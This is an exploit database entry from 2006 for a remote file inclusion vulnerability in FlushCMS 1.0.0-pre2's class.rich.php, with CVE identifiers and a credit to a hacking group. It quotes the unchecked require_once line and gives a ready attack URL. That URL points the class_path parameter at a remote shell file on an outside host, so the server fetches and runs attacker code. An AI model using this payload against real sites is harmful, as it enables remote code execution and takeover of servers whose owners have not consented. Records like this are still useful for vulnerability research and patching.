FlushCMS 1.0.0-pre2 - 'class.rich.php' Remote File Inclusion

Author: igi
type: webapps
platform: php
port: 0
date_added: 2006-07-15
date_updated: 
verified: 1
codes: OSVDB-27331;CVE-2006-3755;CVE-2006-3754
tags: 
aliases: 
screenshot_url: 
application_url: http://www.exploit-db.comflushcms.1.0.0.pre2.tar.gz

flushcms  (tpath) Remote File Inclusion Vulnerability

virangar security team
www.virangar.org
www.virangar.net
Discoverd By : igi
contact  :  anti_hacker_online@yah00.com
for all member  virangar

bug:
----------------------------------------------------------------------------------------
//language class
require_once($class_path.'rich_files/lang/class.rich_lang.php');
-----------------------------------------------------------------------------------------

simple:http://www.site.com/flushcmd/Include/editor/rich_files/class.rich.php?class_path=http://www.shell.com/shell.txt?

# milw0rm.com [2006-07-16]